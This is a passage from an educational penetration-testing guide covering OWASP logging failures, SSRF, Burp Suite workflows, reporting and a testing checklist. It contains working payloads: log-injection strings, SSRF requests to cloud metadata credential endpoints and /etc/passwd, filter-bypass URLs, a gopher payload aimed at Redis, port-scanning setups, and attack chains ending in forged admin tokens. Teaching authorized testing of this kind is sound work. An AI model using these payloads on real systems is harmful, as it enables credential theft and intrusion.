Inappropriate alerting thresholds or no alerting at all
Penetration tests and DAST scans not triggering alerts
Log injection — attacker can manipulate log entries
Sensitive data logged — passwords or tokens in logs

11.2 Where to Find It

This is unique among the Top 10 because it's detected through absence rather than presence. You find it by looking for what should be there but isn't.

Failed login attempts — does the application log them? Does it alert after N failures?
Access control violations — are unauthorized access attempts logged?
Input validation failures — are injection attempts logged and alerted?
Application errors — are they caught and logged properly?
Administrative actions — are they audited?

11.3 How to Test with Burp Suite

Log Injection via Repeater

Identify fields that might be logged (username, search queries, User-Agent).
In Repeater, inject log-manipulation payloads:

# Inject fake log entries
username=admin%0a[2026-03-14 12:00:00] INFO: User admin logged in successfully

# CRLF injection in logs
User-Agent: Mozilla/5.0%0d%0a[INFO] Fake log entry

If the application logs these without sanitization, an attacker can:
- Forge log entries to cover tracks
- Inject misleading information
- Exploit log viewers (XSS in log dashboards)

Testing Detection Capabilities with Active Scanning

Run an active scan against the application using Burp Scanner.
Use Turbo Intruder to send rapid brute-force attempts.
After testing, ask the application owner:
- Were alerts generated?
- Were the attack attempts visible in logs?
- Were there automated blocks or rate limiting?
If the security team was unaware of your (authorized) testing, logging and monitoring is insufficient.

Sensitive Data in Logs via Logger++

Install Logger++.
Configure grep rules to find logging of sensitive data:
- Responses containing password, token, secret in log-related endpoints
- Error pages that dump request parameters including sensitive fields

11.4 Reporting

## Vulnerability Report: Insufficient Logging & Monitoring

**Severity:** Medium (CVSS 5.3) — enables other attacks to go undetected
**Scope:** Application-wide

### Findings
1. **No brute-force detection:** 10,000 failed login attempts within 60 seconds 
   triggered no alerts or account lockouts
2. **Log injection possible:** Username field not sanitized before logging, 
   allowing attackers to forge log entries
3. **Missing audit trail:** Administrative actions (user deletion, role changes) 
   are not logged
4. **No SIEM integration:** Logs are stored only on the application server 
   with no centralized monitoring

### Evidence
- Burp Intruder attack: 10,000 requests, 0 blocks, 0 rate limits
- Log injection PoC: [Screenshot of forged log entry]

### Remediation
- Implement centralized logging (ELK Stack, Splunk, or cloud SIEM)
- Add alerting for: failed logins (>5/min), access control violations, 
  injection attempts, anomalous data access patterns
- Sanitize all user input before logging
- Implement audit trails for all administrative and high-value actions
- Ensure log integrity (append-only, cryptographically signed)

12. A10:2021 – Server-Side Request Forgery (SSRF)

12.1 What It Is

SSRF occurs when a web application fetches a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall, VPN, or network ACL. The server becomes a proxy for the attacker, enabling access to:

Internal services not exposed to the internet (localhost services, admin panels)
Cloud metadata endpoints (AWS 169.254.169.254, GCP, Azure)
Internal network scanning and service enumeration
Reading internal files via file:// protocol
Bypassing access controls by making requests from a trusted source IP

12.2 Where to Find It

URL/webhook input fields — "Enter URL to fetch", "Add webhook"
PDF generators — HTML-to-PDF services that fetch external resources
Image/file processors — "Upload from URL" functionality
API integrations — endpoints that proxy requests to third-party services
Import functionality — "Import from URL" (RSS feeds, OPML, etc.)
Preview features — "Preview link", URL unfurling (like Slack/Discord)
SVG processing — SVG files can contain external references

12.3 How It Works

# Normal request (intended use)
POST /api/fetch-url
{"url": "https://example.com/feed.xml"}

# SSRF attack: Access internal metadata (AWS)
POST /api/fetch-url
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

# SSRF attack: Internal port scanning
POST /api/fetch-url
{"url": "http://192.168.1.1:8080/admin"}

# SSRF attack: File read
POST /api/fetch-url
{"url": "file:///etc/passwd"}

12.4 How to Exploit with Burp Suite

Detection with Collaborator Everywhere

Install Collaborator Everywhere.
Browse the target — the extension automatically inserts Collaborator URLs into various headers and parameters.
Check the Collaborator tab for incoming interactions.
DNS or HTTP interactions from the server indicate potential SSRF vectors.

Manual Testing with Repeater

Capture a request that takes a URL parameter.
In Repeater, test with Burp Collaborator URL:

url=http://YOUR-COLLABORATOR-ID.burpcollaborator.net

Check Collaborator for interaction (confirms server-side fetch).
Escalate by targeting internal resources:

# Localhost
url=http://127.0.0.1/admin
url=http://localhost:8080/management

# AWS metadata
url=http://169.254.169.254/latest/meta-data/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Internal network
url=http://192.168.0.1/
url=http://10.0.0.1:3306/  (MySQL)
url=http://10.0.0.1:6379/  (Redis)

Bypass Techniques in Repeater

When basic payloads are blocked, use bypass techniques:

# IP address obfuscation
url=http://2130706433/         # 127.0.0.1 as decimal
url=http://0x7f000001/         # 127.0.0.1 as hex
url=http://0177.0.0.1/         # 127.0.0.1 as octal
url=http://127.1/              # Shortened
url=http://[::1]/              # IPv6 localhost

# URL parsing confusion
url=http://evil.com@127.0.0.1/
url=http://127.0.0.1#@evil.com/
url=http://127.0.0.1%2523@evil.com/

# DNS rebinding (requires your own domain)
url=http://make-127-0-0-1.nip.io/

# Protocol switching
url=gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aINFO%0d%0a
url=dict://127.0.0.1:6379/INFO
url=file:///etc/passwd

# Redirect-based bypass (host your own redirect)
url=https://your-server.com/redirect?target=http://169.254.169.254/

Use Hackvertor for encoding payloads:

url=<@url_encode>http://169.254.169.254/latest/meta-data/<@/url_encode>

Blind SSRF Detection with Taborator

Install Taborator (enhanced Collaborator client).
Use Collaborator payloads in SSRF vectors.
Taborator provides enhanced visibility into incoming interactions:
- DNS queries
- HTTP requests (with full headers and body)
- SMTP interactions
Even if the response is not reflected back (blind SSRF), interactions confirm the vulnerability.

Internal Port Scanning with Intruder

Capture the SSRF request.
Send to Intruder.
Set the port as the payload position: url=http://127.0.0.1:§port§/
Use a Numbers payload: 1–65535 (or a common ports list).
Analyze results:
- Different response sizes/times indicate open ports
- Connection refused = closed port
- Timeout = filtered port

12.5 Reporting

## Vulnerability Report: Server-Side Request Forgery (SSRF)

**Severity:** Critical (CVSS 9.1)
**Endpoint:** POST /api/integrations/webhook-test
**Affected Parameter:** `callback_url` (JSON body)

### Description
The webhook testing feature allows users to specify a URL that the server 
fetches. The application does not validate or restrict the URL scheme, 
host, or port, allowing an attacker to make requests to internal services, 
cloud metadata endpoints, and arbitrary internal/external hosts from the 
server's network perspective.

### Steps to Reproduce

#### 1. Basic SSRF Confirmation
POST /api/integrations/webhook-test
{"callback_url": "http://COLLABORATOR-ID.burpcollaborator.net"}
→ HTTP interaction received in Collaborator

#### 2. AWS Metadata Exfiltration
POST /api/integrations/webhook-test
{"callback_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
→ Response contains IAM role name: "web-server-role"

POST /api/integrations/webhook-test
{"callback_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/web-server-role"}
→ Response contains temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)

#### 3. Internal Network Discovery
POST /api/integrations/webhook-test
{"callback_url": "http://10.0.0.5:8080/"}
→ Internal Jenkins dashboard HTML returned

### Impact
- **AWS account compromise** via stolen IAM credentials
- **Internal network access** — attacker can scan and interact with internal services
- **Data exfiltration** — read files via file:// protocol
- **Lateral movement** — access internal admin panels, databases, caches

### Remediation
- Implement URL allowlisting (only allow specific, known-good domains)
- Block private IP ranges (10.x.x.x, 172.16-31.x.x, 192.168.x.x, 127.x.x.x, 169.254.x.x)
- Block non-HTTP(S) protocols (file://, gopher://, dict://)
- Use a dedicated network segment for URL fetching with no access to internal services
- Implement IMDSv2 for AWS metadata endpoint access
- Apply network-level egress filtering

13. Professional Reporting Methodology with Burp Suite

13.1 Burp Suite Built-In Reporting

Burp Suite Professional includes a comprehensive reporting engine:

Target → Site Map → Right-click → "Issues" → "Report issues for this host"
Select report format: HTML (recommended for readability) or XML (for integration)
Choose report detail level:
- Issue detail
- Request/Response pairs
- Remediation advice
Generate the report — it includes all Scanner findings with evidence.

13.2 Report Structure Best Practices

Every vulnerability report should follow this structure:

# Penetration Test Report: [Target Application]

## Executive Summary
- Scope, timeline, methodology
- Critical findings overview
- Risk rating summary (Critical: X, High: X, Medium: X, Low: X, Info: X)

## Methodology
- OWASP Top 10 Testing Guide
- Tools used (Burp Suite Professional + specific extensions)
- Testing approach (automated + manual)

## Findings

### Finding #[N]: [Vulnerability Name]

**Severity:** [Critical/High/Medium/Low/Informational]
**CVSS Score:** [0.0-10.0] with vector string
**CWE ID:** [CWE-XXX]
**OWASP Category:** [A0X:2021]
**Status:** [Open/Confirmed/Fixed/Accepted Risk]

#### Description
[Clear explanation of the vulnerability and why it matters]

#### Affected Endpoints
| Method | URL | Parameter |
|--------|-----|-----------|
| POST | /api/login | username |

#### Steps to Reproduce
[Numbered steps that anyone can follow to reproduce the finding]
[Include exact Burp Suite screenshots with timestamps]

#### Proof of Concept
[Burp Repeater requests/responses]
[Code snippets if applicable]

#### Impact Analysis
[Business impact — what can an attacker actually do?]
[Data affected, compliance implications, reputational risk]

#### Remediation Recommendations
[Specific, actionable fixes ranked by effectiveness]
[Code examples where possible]

#### References
[CVE IDs, OWASP links, relevant standards]

13.3 Using Burp Organizer for Report Preparation

During testing, use Organizer (Burp → Organizer) to:
- Add notes to interesting findings
- Tag requests with severity levels
- Group related findings
Use Logger++ with saved grep rules to export evidence.
Take screenshots of Repeater/Intruder showing the exploitation.
Export request/response pairs from Repeater (Right-click → "Copy as curl command" or "Save item").

13.4 Severity Scoring with CVSS

Use CVSS v3.1 for consistent scoring:

Factor	Consideration
Attack Vector	Network (remote) vs. Local
Attack Complexity	Low (easily reproducible) vs. High
Privileges Required	None vs. Low vs. High
User Interaction	None vs. Required
Scope	Changed vs. Unchanged
Confidentiality Impact	None / Low / High
Integrity Impact	None / Low / High
Availability Impact	None / Low / High

13.5 Bug Bounty Platform Reporting Tips

When reporting to bug bounty programs (HackerOne, Bugcrowd, Intigriti):

Title: Clear, specific, and impactful (e.g., "IDOR in /api/users allows accessing any user's PII" not "Access control issue")
Severity: Be honest — over-inflating severity reduces credibility
Proof of Concept: Minimal, reproducible, and non-destructive
Impact: Focus on real-world business impact
Remediation: Show you understand the fix (builds trust)
Attachments: Include Burp screenshots, HTTP request/response evidence
Never: Access more data than necessary to prove the vulnerability
Always: Follow the program's responsible disclosure policy

14. Conclusion

┌─────────────────────────────────────────────────────┐
│              RECONNAISSANCE PHASE                     │
│  • Proxy: Browse and map the application              │
│  • Target → Site Map: Understand structure             │
│  • Param Miner: Discover hidden parameters            │
│  • Collaborator Everywhere: Detect OOB interactions   │
│  • Retire.js: Identify vulnerable JS libraries        │
└──────────────────────┬──────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────┐
│              AUTOMATED SCANNING PHASE                 │
│  • Burp Scanner: Full active scan (in scope only)     │
│  • Active Scan++: Extended vulnerability checks       │
│  • Backslash Powered Scanner: Advanced injection      │
│  • Software Vulnerability Scanner: Component checks   │
│  • HTTP Request Smuggler: Desync detection            │
└──────────────────────┬──────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────┐
│              MANUAL TESTING PHASE                     │
│  • Autorize: Systematic access control testing        │
│  • AuthMatrix: Multi-role authorization matrix        │
│  • Repeater: Manual injection, SSRF, logic testing    │
│  • Intruder: Fuzzing, brute-forcing, enumeration      │
│  • Turbo Intruder: Race conditions, rate limit tests  │
│  • JWT Editor / JOSEPH: Token manipulation            │
│  • Sequencer: Session token entropy analysis          │
│  • Hackvertor: Payload encoding for WAF bypass        │
│  • InQL: GraphQL introspection & attack               │
│  • Upload Scanner: File upload vulnerability testing  │
└──────────────────────┬──────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────┐
│              VALIDATION PHASE                         │
│  • Repeater: Confirm each finding is reproducible     │
│  • Comparer: Diff responses to prove impact           │
│  • Decoder: Decode/encode data for evidence           │
│  • Logger++: Grep across all traffic for patterns     │
│  • Organizer: Tag and categorize confirmed findings   │
└──────────────────────┬──────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────┐
│              REPORTING PHASE                          │
│  • Burp Reporter: Generate HTML/XML reports           │
│  • Organizer: Export notes and tagged findings        │
│  • Logger++: Export evidence logs                     │
│  • Manual: Write executive summary & recommendations  │
│  • CVSS Calculator: Score each finding consistently   │
└─────────────────────────────────────────────────────┘

14.1 OWASP Top 10 ↔ Burp Suite Plugin Quick-Reference Matrix

This matrix gives you an at-a-glance lookup for which Burp Suite tools and plugins to use for each OWASP vulnerability category:

OWASP Category	Primary Burp Tool	Key Plugins	Detection Method
A01 Broken Access Control	Repeater, Intruder	Autorize, AuthMatrix, Param Miner	Swap session tokens, fuzz IDs, matrix testing
A02 Cryptographic Failures	Sequencer, Scanner	JWT Editor, JOSEPH, Logger++	Token entropy, passive scan, header analysis
A03 Injection	Scanner, Repeater, Intruder	Backslash Powered Scanner, Active Scan++, Hackvertor, Collaborator Everywhere	Active scanning, manual payload injection, OOB detection
A04 Insecure Design	Repeater, Proxy	Turbo Intruder	Business logic testing, race conditions, workflow bypass
A05 Security Misconfiguration	Scanner, Repeater	Param Miner, CSP Auditor, Active Scan++	Header analysis, hidden params, method testing, XXE
A06 Vulnerable Components	Passive Scanner	Retire.js, Software Vulnerability Scanner	Library fingerprinting, version detection
A07 Auth Failures	Intruder, Sequencer	Turbo Intruder, Logger++	Brute-force, enumeration, token analysis
A08 Integrity Failures	Repeater, Decoder	Java Deserialization Scanner, JWT Editor	Serialized data manipulation, signature bypass
A09 Logging Failures	Repeater, Intruder	Logger++, Turbo Intruder	Log injection, detection testing, rapid attack simulation
A10 SSRF	Repeater, Intruder	Collaborator Everywhere, Taborator, Hackvertor	URL manipulation, OOB detection, internal scanning

14.2 Advanced Exploitation Chains: Combining OWASP Categories

In real-world engagements, the most devastating attacks are not single vulnerabilities — they are chains that combine multiple OWASP categories. Burp Suite excels at facilitating these chains because all tools share the same HTTP history and session state.

Chain Example 1: SSRF → Cryptographic Failure → Broken Access Control

Step 1 (A10 - SSRF):
  POST /api/fetch-preview
  {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role"}
  → Retrieve AWS temporary credentials from metadata endpoint

Step 2 (A02 - Cryptographic Failure):
  Use stolen AWS credentials to access S3 bucket containing
  application configuration files with database credentials
  and JWT signing keys stored in plaintext

Step 3 (A01 - Broken Access Control):
  Forge a JWT token with admin role using the stolen signing key
  → Full administrative access to the application

In Burp Suite:

Use Repeater for the SSRF payload to extract AWS credentials.
Use Decoder to decode any Base64-encoded configuration files.
Use JWT Editor to forge a new token with the stolen signing key.
Use Repeater again to send authenticated admin requests with the forged token.

Chain Example 2: Security Misconfiguration → Injection → Integrity Failure

Step 1 (A05 - Security Misconfiguration):
  Discover debug endpoint via Param Miner: GET /api/debug?mode=verbose
  → Application exposes verbose SQL error messages

Step 2 (A03 - Injection):
  Leverage verbose errors for error-based SQL injection
  → Extract admin password hashes from the database
  → Discover the application uses MD5 without salt (A02)

Step 3 (A08 - Integrity Failure):
  Use Decoder to identify MD5 hashes → crack with rainbow tables
  → Authenticate as admin
  → Discover admin can upload serialized Java objects
  → Exploit insecure deserialization for RCE

Chain Example 3: Authentication Failure → Insecure Design → Data Exfiltration

Step 1 (A07 - Authentication Failure):
  Use Intruder to enumerate valid usernames via different error messages
  "Invalid password" vs "User not found"

Step 2 (A07 - Authentication Failure):
  Use Turbo Intruder to brute-force the 4-digit OTP on password reset
  (no rate limiting — A04 Insecure Design)

Step 3 (A04 - Insecure Design):
  After resetting the password, discover the password reset flow
  doesn't invalidate other active sessions (session fixation variant)

Step 4 (A01 - Broken Access Control):
  Use Autorize to discover the compromised account can access
  other users' data via IDOR in /api/users/{id}/documents

Step 5 (A09 - Logging Failure):
  None of the above triggered any alerts or account lockouts

14.3 Burp Suite Configuration Profiles for OWASP Testing

Profile 1: Stealth/Passive (Initial Reconnaissance)

Scanner:
  ☑ Passive scanning only
  ☐ Active scanning disabled
  
Proxy:
  ☑ Intercept off (passive observation)
  ☑ Record all traffic to Logger++
  
Extensions:
  ☑ Retire.js (passive)
  ☑ CSP Auditor (passive)
  ☑ Logger++ with sensitive data grep rules
  ☐ Collaborator Everywhere (OFF — generates active traffic)
  ☐ Param Miner (OFF — generates active traffic)

Intruder/Turbo Intruder:
  ☐ Not used in this phase

Purpose: Understand the application without generating attack traffic.
         Map endpoints, identify technologies, spot low-hanging fruit.

Profile 2: Active Scanning (Automated Discovery)

Scanner:
  ☑ Active scanning enabled
  ☑ Scan scope: In-scope items only
  ☑ Scan speed: Normal (not "Fast" — avoid overwhelming target)
  ☑ Scan configuration: "Audit checks - all except time-based detection"
  
Extensions:
  ☑ Active Scan++
  ☑ Backslash Powered Scanner
  ☑ Collaborator Everywhere
  ☑ HTTP Request Smuggler
  ☑ Software Vulnerability Scanner
  ☑ Param Miner (background parameter guessing)

Scanner Insertion Points:
  ☑ URL path parameters
  ☑ URL query string parameters
  ☑ Body parameters
  ☑ Cookie values
  ☑ Parameter names
  ☑ HTTP headers (selected)
  ☐ Entire body (disable unless specifically needed)

Purpose: Comprehensive automated vulnerability discovery.

Profile 3: Manual Deep-Dive (Targeted Exploitation)

Proxy:
  ☑ Intercept on (selective)
  ☑ Match & Replace rules configured for testing
  
Repeater:
  ☑ Follow redirections: Never (manual control)
  ☑ Auto-update Content-Length: Yes
  
Intruder:
  ☑ Payload processing rules configured
  ☑ Grep - Match/Extract rules configured
  ☑ Resource pool: 10 concurrent requests max
  
Extensions:
  ☑ Autorize (with low-priv cookie configured)
  ☑ AuthMatrix (with role matrix defined)
  ☑ JWT Editor
  ☑ Hackvertor
  ☑ Turbo Intruder (for race conditions)
  ☑ Taborator (enhanced Collaborator)

Purpose: Targeted manual testing of specific vulnerabilities.
         Exploit confirmed findings, test business logic,
         chain vulnerabilities together.

14.4 Common Pitfalls and How to Avoid Them

Pitfall 1: Scope Creep

Problem: Testing assets outside the authorized scope. Solution: Always configure Target → Scope before starting. Enable "Use Suite Scope" in all Burp tools. Use Logger++ to verify no out-of-scope requests were sent. Double-check your scope agreement before every test.

Pitfall 2: Missing Hidden Functionality

Problem: Only testing what's visible in the browser. Solution: Use Param Miner for hidden parameters. Check robots.txt, sitemap.xml, and .well-known paths. Use Content Discovery (Engagement Tools → Discover Content) to brute-force directories and files. Examine JavaScript files for hidden API endpoints using JS Link Finder or manual review.

Pitfall 3: Ignoring Non-Standard Input Vectors

Problem: Only testing form fields and URL parameters. Solution: Test HTTP headers (X-Forwarded-For, Referer, User-Agent), cookie values, JSON/XML request bodies, WebSocket messages (Burp has a WebSocket history tab), multipart form data, and file upload filenames. Use Collaborator Everywhere to automatically inject into headers.

Pitfall 4: Destructive Testing

Problem: Accidentally deleting data, locking accounts, or causing outages. Solution: Never test DELETE methods on production data without confirmation. Use unique test accounts that won't affect real users. Avoid SQL injection payloads like DROP TABLE or UPDATE statements — always use SELECT-based extraction. Rate-limit your Intruder and Turbo Intruder attacks. Always have an emergency contact at the target organization.

Pitfall 5: Insufficient Evidence

Problem: Filing a report without adequate proof. Solution: For every finding, capture:

The exact Repeater request and response (Burp → right-click → "Copy as curl" or save the item)
Screenshots with timestamps
Intruder results showing the statistical difference
Sequencer analysis reports for token issues
Autorize/AuthMatrix results for access control issues
Collaborator interaction evidence for OOB vulnerabilities

Pitfall 6: False Positives from Automated Scanning

Problem: Reporting scanner findings without manual verification. Solution: Every scanner finding must be verified manually in Repeater before reporting. Burp Scanner classifies confidence as "Certain," "Firm," or "Tentative" — always verify "Tentative" findings. Compare with Comparer to validate the difference between injected and non-injected responses.

14.5 Building a Personal OWASP Testing Checklist

Use this checklist during every engagement to ensure complete coverage:

═══════════════════════════════════════════════════════════
          OWASP TOP 10 TESTING CHECKLIST (BURP SUITE)
═══════════════════════════════════════════════════════════

PRE-ENGAGEMENT
  □ Scope agreement reviewed and signed
  □ Emergency contacts confirmed
  □ Test accounts provisioned (min 2: high-priv, low-priv)
  □ Burp Suite configured (proxy, scope, extensions)
  □ VPN/access to testing environment confirmed

A01: BROKEN ACCESS CONTROL
  □ Autorize configured and running during browsing
  □ IDOR tested on all resource endpoints (user IDs, document IDs, etc.)
  □ Vertical privilege escalation tested (user → admin)
  □ Horizontal privilege escalation tested (user A → user B)
  □ Direct URL access to admin functions tested
  □ HTTP method override tested (X-HTTP-Method-Override)
  □ CORS policy validated
  □ Directory traversal tested on file operations
  □ API endpoints tested without authentication token
  □ JWT claims modified and re-submitted

A02: CRYPTOGRAPHIC FAILURES
  □ HTTPS enforcement verified (HTTP → HTTPS redirect)
  □ HSTS header present and correctly configured
  □ Cookie flags checked (Secure, HttpOnly, SameSite)
  □ Session token entropy analyzed with Sequencer
  □ JWT algorithm and signature verified
  □ Sensitive data not exposed in URLs
  □ Password storage mechanism checked (if observable)
  □ TLS version and cipher suite verified
  □ Mixed content (HTTP resources on HTTPS pages) checked

A03: INJECTION
  □ SQL injection tested on all input parameters
  □ XSS tested on all reflected and stored outputs
  □ Command injection tested where input interacts with OS
  □ SSTI tested on template-rendered outputs
  □ LDAP injection tested on authentication/directory queries
  □ NoSQL injection tested on MongoDB/CouchDB endpoints
  □ Header injection / CRLF injection tested
  □ XXE tested on XML-accepting endpoints
  □ GraphQL injection tested (if applicable)

A04: INSECURE DESIGN
  □ Business logic flaws tested (negative values, boundary conditions)
  □ Rate limiting verified on login, OTP, password reset
  □ Multi-step process integrity tested (step skipping)
  □ Race conditions tested with Turbo Intruder
  □ Anti-automation controls verified (CAPTCHA effectiveness)
  □ Resource exhaustion tested (large file upload, complex queries)
  □ Referral/coupon/discount abuse tested

A05: SECURITY MISCONFIGURATION
  □ Default credentials tested (/admin, known defaults)
  □ Security headers analyzed with CSP Auditor
  □ Directory listing checked
  □ Debug/test endpoints discovered with Param Miner
  □ Verbose error messages triggered and analyzed
  □ HTTP methods tested (OPTIONS, TRACE, PUT, DELETE)
  □ CORS policy tested for misconfigurations
  □ XXE enabled checked on XML parsers
  □ Cloud metadata accessible checked
  □ .git/.env/.DS_Store exposure checked

A06: VULNERABLE COMPONENTS
  □ Retire.js scan completed for client-side libraries
  □ Server version headers documented
  □ Framework fingerprinting completed
  □ Known CVEs checked for all identified components
  □ Software Vulnerability Scanner results reviewed
  □ CMS/plugin versions checked (if applicable)

A07: IDENTIFICATION AND AUTHENTICATION FAILURES
  □ Username enumeration tested (different error messages)
  □ Brute-force protection tested with Intruder
  □ Password policy strength evaluated
  □ Session fixation tested (token change after auth)
  □ Session invalidation tested (logout, timeout)
  □ "Remember me" token security analyzed
  □ Multi-factor authentication bypass tested
  □ Password reset flow security tested
  □ Account lockout mechanism tested
  □ OAuth/SSO implementation validated (if applicable)

A08: SOFTWARE AND DATA INTEGRITY FAILURES
  □ Serialized data in cookies/parameters identified
  □ Deserialization vulnerabilities tested
  □ ViewState integrity verified (ASP.NET)
  □ Software update mechanisms reviewed
  □ SRI (Subresource Integrity) checked on CDN resources
  □ CI/CD pipeline security (if in scope)
  □ Signed vs unsigned data distinguished

A09: SECURITY LOGGING AND MONITORING FAILURES
  □ Log injection tested
  □ Failed login attempt alerting verified
  □ Brute-force detection verified
  □ Administrative action audit trail checked
  □ Sensitive data in error messages/logs checked
  □ Attack detection capability assessed

A10: SERVER-SIDE REQUEST FORGERY
  □ All URL input parameters tested for SSRF
  □ Collaborator interaction detected from server
  □ Internal network access tested (localhost, private IPs)
  □ Cloud metadata endpoint access tested
  □ Protocol handler tested (file://, gopher://, dict://)
  □ SSRF filter bypass techniques tested
  □ Blind SSRF with Collaborator confirmed

POST-ENGAGEMENT
  □ All findings verified manually in Repeater
  □ Evidence collected (screenshots, request/response pairs)
  □ CVSS scores calculated for each finding
  □ Report generated using Burp Reporter + manual write-up
  □ Findings categorized by OWASP Top 10 category
  □ Remediation recommendations included
  □ Executive summary written
  □ Report delivered securely to client
  □ Test data and accounts cleaned up
  □ Retest scheduled (if applicable)

═══════════════════════════════════════════════════════════

14.6 Continuous Learning Resources

To stay current with evolving attack techniques and Burp Suite capabilities:

Resource	Description
PortSwigger Web Security Academy	Free, comprehensive hands-on labs covering every OWASP category with Burp Suite
OWASP Testing Guide v4.2	Detailed testing methodology for every vulnerability category
OWASP Web Security Testing Guide (WSTG)	Step-by-step test cases mapped to OWASP categories
Burp Suite Documentation	Official PortSwigger docs for all tools and extensions
BApp Store "What's New"	Regular updates on new Burp extensions
PortSwigger Research Blog	Cutting-edge research from the Burp Suite team (James Kettle et al.)
HackerOne Hacktivity	Public bug bounty reports demonstrating real-world exploitation
PentesterLab	Hands-on exercises for web vulnerability exploitation
OWASP Juice Shop	Deliberately vulnerable application for practice
Damn Vulnerable Web Application (DVWA)	Classic practice target for all injection categories

14.7 Final Thoughts

The OWASP Top 10 represents the minimum baseline of web application security concerns that every developer, tester, and security professional must understand. Burp Suite, with its rich ecosystem of extensions, provides an unparalleled platform for systematically identifying, confirming, and documenting these vulnerabilities.

Key takeaways from this guide:

Defense in depth matters. No single control prevents all attacks. Applications need security at every layer — input validation, parameterized queries, output encoding, access controls, encryption, logging, and monitoring.
Automation is a starting point, not an endpoint. Burp Scanner finds many issues, but the most critical vulnerabilities — business logic flaws, complex access control failures, chained attacks — require manual human analysis using Repeater, Intruder, and specialized extensions.
Context is everything. A vulnerability's severity depends on the application's context. An IDOR exposing public blog posts is informational. An IDOR exposing medical records is critical. Always assess impact from the business perspective.
Responsible disclosure saves lives. The techniques in this guide are powerful. Use them only with authorization. Report findings promptly and professionally. Work with development teams to verify fixes. The goal is always to make the internet safer for everyone.
Never stop learning. Web security evolves constantly. New frameworks introduce new attack surfaces. New defenses require new bypass techniques. The PortSwigger Web Security Academy, OWASP resources, and active participation in the security community are your best ongoing educational investments.
Chain vulnerabilities for maximum impact. Individual medium-severity findings can combine into critical attack chains. Always think about how vulnerabilities interact with each other. Document chains explicitly in your reports — they demonstrate real-world risk far better than isolated findings.
Quality over quantity in reporting. A well-documented critical finding with clear reproduction steps, business impact analysis, and actionable remediation advice is worth more than fifty vague informational findings. Use Burp's evidence collection features extensively and organize your findings with Organizer before writing the final report.

⚠️ FINAL ETHICAL REMINDER: Every technique described in this guide must be applied only within the boundaries of authorized engagements — whether that's a formal penetration test with a signed statement of work, a bug bounty program with defined scope, or your own deliberately vulnerable lab environment. Unauthorized access to computer systems is a crime in virtually every jurisdiction worldwide. Be ethical. Be professional. Be the defender.

This guide was prepared as an educational resource covering the OWASP Top 10 (2021 edition) with practical exploitation and reporting methodology using Burp Suite Professional and its extension ecosystem. For the latest OWASP updates, visit owasp.org. For Burp Suite documentation, visit portswigger.net.

aw-junaid/Web-Security.md